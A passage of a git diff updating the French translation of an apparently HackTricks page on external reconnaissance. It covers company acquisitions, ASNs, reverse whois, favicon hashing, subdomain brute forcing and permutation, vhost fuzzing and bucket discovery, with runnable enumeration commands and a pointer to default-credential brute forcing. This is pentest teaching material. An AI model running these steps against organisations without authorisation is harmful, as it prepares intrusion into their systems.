Translated ['generic-methodologies-and-resources/external-recon-methodol
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 201 KiB |
|
@ -161,6 +161,7 @@
|
|||
* [macOS Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md)
|
||||
* [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md)
|
||||
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
|
||||
* [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
|
||||
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
||||
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
|
@ -509,7 +510,7 @@
|
|||
* [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
|
||||
* [50030,50060,50070,50075,50090 - Pentesting Hadoop](network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md)
|
||||
|
||||
## 🕸 Pentesting Web
|
||||
## 🕸️ Pentesting Web
|
||||
|
||||
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
|
@ -664,7 +665,7 @@
|
|||
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
|
||||
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
|
||||
|
||||
## ⛈ Cloud Security
|
||||
## ⛈️ Cloud Security
|
||||
|
||||
* [Pentesting Kubernetes](https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security)
|
||||
* [Pentesting Cloud (AWS, GCP, Az...)](https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology)
|
||||
|
@ -722,7 +723,7 @@
|
|||
* [ICMPsh](backdoors/icmpsh.md)
|
||||
* [Cobalt Strike](c2/cobalt-strike.md)
|
||||
|
||||
## ✍ TODO
|
||||
## ✍️ TODO
|
||||
|
||||
* [Other Big References](misc/references.md)
|
||||
* [Rust Basics](todo/rust-basics.md)
|
||||
|
|
|
@ -14,27 +14,27 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Découvertes d'actifs
|
||||
|
||||
> On vous a dit que tout ce qui appartient à une entreprise est dans le périmètre, et vous voulez découvrir ce que possède réellement cette entreprise.
|
||||
> On vous a dit que tout ce qui appartient à une entreprise est dans le périmètre, et vous voulez savoir ce que possède réellement cette entreprise.
|
||||
|
||||
Le but de cette phase est d'obtenir toutes les **entreprises appartenant à l'entreprise principale** puis tous les **actifs** de ces entreprises. Pour ce faire, nous allons :
|
||||
|
||||
1. Trouver les acquisitions de l'entreprise principale, cela nous donnera les entreprises dans le périmètre.
|
||||
2. Trouver l'ASN (le cas échéant) de chaque entreprise, cela nous donnera les plages d'IP possédées par chaque entreprise.
|
||||
3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisation, domaines...) liées à la première (cela peut être fait de manière récursive).
|
||||
3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisations, domaines...) liées au premier (cela peut être fait de manière récursive).
|
||||
4. Utiliser d'autres techniques comme les filtres shodan `org` et `ssl` pour rechercher d'autres actifs (le truc `ssl` peut être fait de manière récursive).
|
||||
|
||||
### **Acquisitions**
|
||||
|
||||
Tout d'abord, nous devons savoir quelles **autres entreprises sont détenues par l'entreprise principale**.\
|
||||
Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **rechercher** l'**entreprise principale**, et **cliquer** sur "**acquisitions**". Vous verrez d'autres entreprises acquises par la principale.\
|
||||
Tout d'abord, nous devons savoir quelles **autres entreprises sont possédées par l'entreprise principale**.\
|
||||
Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **rechercher** l'**entreprise principale**, et **cliquer** sur "**acquisitions**". Vous verrez là d'autres entreprises acquises par la principale.\
|
||||
Une autre option est de visiter la page **Wikipedia** de l'entreprise principale et rechercher les **acquisitions**.
|
||||
|
||||
> À ce stade, vous devriez connaître toutes les entreprises dans le périmètre. Voyons comment trouver leurs actifs.
|
||||
|
@ -45,14 +45,14 @@ Un numéro de système autonome (**ASN**) est un **numéro unique** attribué à
|
|||
Un **AS** se compose de **blocs** d'**adresses IP** qui ont une politique d'accès aux réseaux externes clairement définie et sont administrés par une seule organisation mais peuvent être composés de plusieurs opérateurs.
|
||||
|
||||
Il est intéressant de savoir si l'**entreprise a attribué un ASN** pour trouver ses **plages d'IP**. Il sera intéressant d'effectuer un **test de vulnérabilité** contre tous les **hôtes** dans le **périmètre** et de rechercher des domaines à l'intérieur de ces IPs.\
|
||||
Vous pouvez **rechercher** par **nom d'entreprise**, par **IP** ou par **domaine** sur [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Selon la région de l'entreprise, ces liens pourraient être utiles pour recueillir plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages d'IP et Whois)** apparaissent déjà dans le premier lien.
|
||||
Vous pouvez **rechercher** par le **nom de l'entreprise**, par **IP** ou par **domaine** sur [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Selon la région de l'entreprise, ces liens pourraient être utiles pour recueillir plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). De toute façon, probablement toutes les** informations utiles **(plages d'IP et Whois)** apparaissent déjà dans le premier lien.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
De plus, l'énumération des sous-domaines de [**BBOT**](https://github.com/blacklanternsecurity/bbot) agrège automatiquement et résume les ASN à la fin de l'analyse.
|
||||
De plus, l'**[outil BBOT](https://github.com/blacklanternsecurity/bbot)** effectue automatiquement l'énumération des sous-domaines et agrège les résumés des ASN à la fin de l'analyse.
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
|
@ -74,8 +74,8 @@ Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com
|
|||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
À ce stade, nous connaissons **tous les actifs dans le périmètre**, donc si vous y êtes autorisé, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\
|
||||
De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et en fonction de ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment tester de possibles services en cours d'exécution.\
|
||||
À ce stade, nous connaissons **tous les actifs dans le périmètre**, donc si vous en avez l'autorisation, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\
|
||||
De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et en fonction de ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment effectuer des tests d'intrusion sur plusieurs services possibles en cours d'exécution.\
|
||||
**De plus, il pourrait être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et de** mots de passe **par défaut et essayer de** forcer l'accès aux services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domaines
|
||||
|
@ -88,7 +88,7 @@ Tout d'abord, vous devriez rechercher le(s) **domaine(s) principal(aux)** de cha
|
|||
|
||||
### **DNS inversé**
|
||||
|
||||
Une fois que vous avez trouvé toutes les plages d'adresses IP des domaines, vous pourriez essayer d'effectuer des **recherches DNS inversées** sur ces **IP pour trouver d'autres domaines dans le périmètre**. Essayez d'utiliser un serveur DNS de la victime ou un serveur DNS bien connu (1.1.1.1, 8.8.8.8)
|
||||
Une fois que vous avez trouvé toutes les plages d'adresses IP des domaines, vous pourriez essayer d'effectuer des **recherches DNS inversées** sur ces **IP pour trouver plus de domaines dans le périmètre**. Essayez d'utiliser un serveur DNS de la victime ou un serveur DNS bien connu (1.1.1.1, 8.8.8.8)
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -100,7 +100,7 @@ Vous pouvez également utiliser un outil en ligne pour ces informations : [http:
|
|||
|
||||
### **Reverse Whois (boucle)**
|
||||
|
||||
À l'intérieur d'un **whois**, vous pouvez trouver beaucoup d'**informations** intéressantes telles que le **nom de l'organisation**, l'**adresse**, les **emails**, les numéros de téléphone... Mais ce qui est encore plus intéressant, c'est que vous pouvez trouver **d'autres actifs liés à l'entreprise** si vous effectuez des **recherches de reverse whois par l'un de ces champs** (par exemple, d'autres registres whois où le même email apparaît).\
|
||||
À l'intérieur d'un **whois**, vous pouvez trouver beaucoup d'**informations** intéressantes telles que le **nom de l'organisation**, l'**adresse**, les **emails**, les numéros de téléphone... Mais ce qui est encore plus intéressant, c'est que vous pouvez trouver **davantage d'actifs liés à l'entreprise** si vous effectuez des **recherches de reverse whois par l'un de ces champs** (par exemple, d'autres registres whois où le même email apparaît).\
|
||||
Vous pouvez utiliser des outils en ligne comme :
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuit**
|
||||
|
@ -112,9 +112,9 @@ Vous pouvez utiliser des outils en ligne comme :
|
|||
* [https://www.domainiq.com/](https://www.domainiq.com) - Non gratuit
|
||||
|
||||
Vous pouvez automatiser cette tâche en utilisant [**DomLink** ](https://github.com/vysecurity/DomLink)(nécessite une clé API whoxy).\
|
||||
Vous pouvez également effectuer une découverte automatique de reverse whois avec [amass](https://github.com/OWASP/Amass) : `amass intel -d tesla.com -whois`
|
||||
Vous pouvez également effectuer une découverte automatique de reverse whois avec [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine chaque fois que vous trouvez un nouveau domaine.**
|
||||
**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine à chaque fois que vous trouvez un nouveau domaine.**
|
||||
|
||||
### **Trackers**
|
||||
|
||||
|
@ -131,7 +131,7 @@ Il existe des pages et des outils qui vous permettent de rechercher ces trackers
|
|||
|
||||
### **Favicon**
|
||||
|
||||
Saviez-vous que nous pouvons trouver des domaines et sous-domaines liés à notre cible en recherchant le même hash d'icône favicon ? C'est exactement ce que l'outil [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) créé par [@m4ll0k2](https://twitter.com/m4ll0k2) fait. Voici comment l'utiliser :
|
||||
Saviez-vous que nous pouvons trouver des domaines et sous-domaines liés à notre cible en recherchant le même hash d'icône favicon ? C'est exactement ce que l'outil [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) réalisé par [@m4ll0k2](https://twitter.com/m4ll0k2) fait. Voici comment l'utiliser :
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
@ -140,7 +140,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
En termes simples, favihash nous permettra de découvrir les domaines qui ont le même hachage d'icône favicon que notre cible.
|
||||
|
||||
De plus, vous pouvez également rechercher des technologies en utilisant le hachage de favicon comme expliqué dans [**cet article de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Cela signifie que si vous connaissez le **hachage de l'icône favicon d'une version vulnérable d'une technologie web**, vous pouvez rechercher si dans shodan et **trouver plus d'endroits vulnérables**:
|
||||
De plus, vous pouvez également rechercher des technologies en utilisant le hachage de favicon comme expliqué dans [**cet article de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Cela signifie que si vous connaissez le **hachage de l'icône favicon d'une version vulnérable d'une technologie web**, vous pouvez rechercher dans shodan et **trouver plus d'endroits vulnérables**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -157,11 +157,11 @@ fhash = mmh3.hash(favicon)
|
|||
print(f"{url} : {fhash}")
|
||||
return fhash
|
||||
```
|
||||
### **Droit d'auteur / Chaîne unique**
|
||||
### **Droits d'auteur / Chaîne unique**
|
||||
|
||||
Recherchez à l'intérieur des pages web des **chaînes qui pourraient être partagées sur différents sites web de la même organisation**. La **chaîne de droit d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne sur **Google**, dans d'autres **navigateurs** ou même sur **Shodan**: `shodan search http.html:"Chaîne de droit d'auteur"`
|
||||
Recherchez à l'intérieur des pages web des **chaînes qui pourraient être partagées sur différents sites web de la même organisation**. La **chaîne de droits d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne sur **Google**, dans d'autres **navigateurs** ou même dans **Shodan**: `shodan search http.html:"Chaîne de droits d'auteur"`
|
||||
|
||||
### **Heure CRT**
|
||||
### **Temps CRT**
|
||||
|
||||
Il est courant d'avoir une tâche cron telle que
|
||||
```bash
|
||||
|
@ -170,7 +170,7 @@ Il est courant d'avoir une tâche cron telle que
|
|||
```
|
||||
### **Prise de contrôle passive**
|
||||
|
||||
Apparemment, il est courant que des personnes attribuent des sous-domaines à des adresses IP appartenant à des fournisseurs de cloud et finissent par **perdre cette adresse IP mais oublient de supprimer l'enregistrement DNS**. Par conséquent, simplement **lancer une VM** dans un cloud (comme Digital Ocean) vous permettra en réalité de **prendre le contrôle de certains sous-domaines**.
|
||||
Apparemment, il est courant que les gens attribuent des sous-domaines à des adresses IP appartenant à des fournisseurs de cloud et à un moment donné **perdent cette adresse IP mais oublient de supprimer l'enregistrement DNS**. Par conséquent, simplement **lancer une VM** dans un cloud (comme Digital Ocean) vous permettra en fait de **prendre le contrôle de certains sous-domaines**.
|
||||
|
||||
[**Cet article**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **démarre une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **recherche dans Virustotal les enregistrements de sous-domaines** pointant vers elle.
|
||||
|
||||
|
@ -186,14 +186,14 @@ Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir
|
|||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) est un outil qui recherche des **domaines associés** à un domaine principal et leurs **sous-domaines**, assez incroyable.
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) est un outil qui recherche des **domaines associés** à un domaine principal et leurs **sous-domaines**, assez incroyable.
|
||||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
Vérifiez s'il y a une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Enregistrez-le simplement (si c'est assez bon marché) et informez l'entreprise.
|
||||
|
||||
Si vous trouvez un **domaine avec une IP différente** de ceux que vous avez déjà trouvés dans la découverte des actifs, vous devriez effectuer une **analyse de vulnérabilité de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
|
||||
_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc il n'est pas dans le périmètre, soyez prudent._
|
||||
_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Astuce de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||
|
@ -271,7 +271,7 @@ Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas dir
|
|||
## This is the API the crobat tool will use
|
||||
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
|
||||
```
|
||||
* [**API gratuite JLDC**](https://jldc.me/anubis/subdomains/google.com)
|
||||
* [**API gratuit JLDC**](https://jldc.me/anubis/subdomains/google.com)
|
||||
```bash
|
||||
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
|
||||
```
|
||||
|
@ -295,7 +295,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Wayback Machine et de Common Crawl pour un domaine donné.
|
||||
* [**gau**](https://github.com/lc/gau)**:** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Machine à remonter le temps et de Common Crawl pour un domaine donné.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
|
@ -358,7 +358,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
|||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) est un wrapper autour de `massdns`, écrit en go, qui vous permet d'énumérer des sous-domaines valides en utilisant la force brute active, ainsi que de résoudre des sous-domaines avec la gestion des wildcards et un support d'entrée-sortie facile.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) est une enveloppe autour de `massdns`, écrite en go, qui vous permet d'énumérer les sous-domaines valides en utilisant la force brute active, ainsi que de résoudre les sous-domaines avec la gestion des wildcards et un support d'entrée-sortie facile.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -379,7 +379,7 @@ Après avoir trouvé des sous-domaines en utilisant des sources ouvertes et la f
|
|||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Étant donné les domaines et sous-domaines, générer des permutations.
|
||||
* Vous pouvez obtenir la liste de permutations de goaltdns **wordlist** [**ici**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
* Vous pouvez obtenir la liste de permutations de **wordlist** de goaltdns [**ici**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
|
@ -402,7 +402,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
|||
|
||||
#### Génération intelligente de permutations
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): Pour plus d'informations, consultez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il va essentiellement obtenir les **parties principales** des **sous-domaines découverts** et les mélanger pour trouver plus de sous-domaines.
|
||||
* [**regulator**](https://github.com/cramppet/regulator) : Pour plus d'informations, consultez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il va essentiellement obtenir les **parties principales** des **sous-domaines découverts** et les mélanger pour trouver plus de sous-domaines.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
|
@ -414,7 +414,7 @@ echo www | subzuf facebook.com
|
|||
```
|
||||
### **Workflow de découverte de sous-domaines**
|
||||
|
||||
Consultez ce billet de blog que j'ai écrit sur comment **automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant des **workflows Trickest** afin de ne pas avoir à lancer manuellement une série d'outils sur mon ordinateur :
|
||||
Consultez ce billet de blog que j'ai écrit sur la façon d'**automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant des **workflows Trickest** afin de ne pas avoir à lancer manuellement une série d'outils sur mon ordinateur :
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -426,7 +426,7 @@ Si vous trouvez une adresse IP contenant **une ou plusieurs pages web** apparten
|
|||
|
||||
#### OSINT
|
||||
|
||||
Vous pouvez trouver certains **VHosts dans des IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres APIs**.
|
||||
Vous pouvez trouver certains **VHosts dans les IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres APIs**.
|
||||
|
||||
**Brute Force**
|
||||
|
||||
|
@ -456,12 +456,12 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
```
|
||||
### **Forçage de seaux**
|
||||
|
||||
En cherchant des **sous-domaines**, gardez un œil pour voir s'ils pointent vers un type de **seau**, et dans ce cas, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
En cherchant des **sous-domaines**, gardez un œil pour voir s'ils pointent vers un **seau** de quelque type que ce soit, et dans ce cas, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**forcer les noms de seau possibles et vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Surveillance**
|
||||
|
||||
Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les **logs de transparence des certificats** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) le fait.
|
||||
Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les **logs de transparence des certificats** que [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) fait.
|
||||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
|
@ -473,8 +473,8 @@ _Notez que parfois le sous-domaine est hébergé à l'intérieur d'une IP qui n'
|
|||
|
||||
## IPs
|
||||
|
||||
Dans les premières étapes, vous pourriez avoir **trouvé des plages d'IP, des domaines et des sous-domaines**.\
|
||||
Il est temps de **recueillir toutes les IPs de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).**
|
||||
Dans les premières étapes, vous avez peut-être **trouvé des plages d'IP, des domaines et des sous-domaines**.\
|
||||
Il est temps de **rassembler toutes les IPs de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).**
|
||||
|
||||
En utilisant les services des **APIs gratuites** suivantes, vous pouvez également trouver les **IPs précédentes utilisées par les domaines et sous-domaines**. Ces IPs pourraient toujours être la propriété du client (et pourraient vous permettre de trouver des [**contournements de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
|
@ -484,7 +484,7 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc
|
|||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
**Analysez tous les IPs qui n'appartiennent pas à des CDN** (car vous ne trouverez probablement rien d'intéressant là-bas). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**.
|
||||
**Analysez tous les IPs qui n'appartiennent pas aux CDN** (car vous ne trouverez probablement rien d'intéressant là-bas). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**.
|
||||
|
||||
**Trouvez un** [**guide**](../pentesting-network/) **sur la façon de scanner les hôtes.**
|
||||
|
||||
|
@ -504,7 +504,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
```
|
||||
### **Captures d'écran**
|
||||
|
||||
Maintenant que vous avez découvert **tous les serveurs web** présents dans le périmètre (parmi les **IP** de l'entreprise et tous les **domaines** et **sous-domaines**), vous ne savez probablement **pas par où commencer**. Alors, simplifions les choses et commençons par prendre des captures d'écran de chacun d'eux. Juste en **jetant un coup d'œil** à la **page principale**, vous pouvez trouver des **points de terminaison étranges** qui sont plus **susceptibles** d'être **vulnérables**.
|
||||
Maintenant que vous avez découvert **tous les serveurs web** présents dans le périmètre (parmi les **IP** de l'entreprise et tous les **domaines** et **sous-domaines**), vous ne savez probablement **pas par où commencer**. Alors, simplifions les choses et commençons par prendre des captures d'écran de chacun d'eux. Juste en **jetant un coup d'œil** à la **page principale**, vous pouvez trouver des points de terminaison **étranges** qui sont plus **susceptibles** d'être **vulnérables**.
|
||||
|
||||
Pour mettre en œuvre l'idée proposée, vous pouvez utiliser [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
|
@ -512,7 +512,7 @@ De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/Bisho
|
|||
|
||||
## Actifs Cloud Publics
|
||||
|
||||
Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés identifiant cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "<nom_de_domaine>", <"noms_de_sous-domaines">`.
|
||||
Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés identifiant cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "<nom_de_domaine>", <"noms_de_sous-domaine">`.
|
||||
|
||||
Vous aurez également besoin de listes de mots **couramment utilisés dans les buckets** :
|
||||
|
||||
|
@ -520,7 +520,7 @@ Vous aurez également besoin de listes de mots **couramment utilisés dans les b
|
|||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
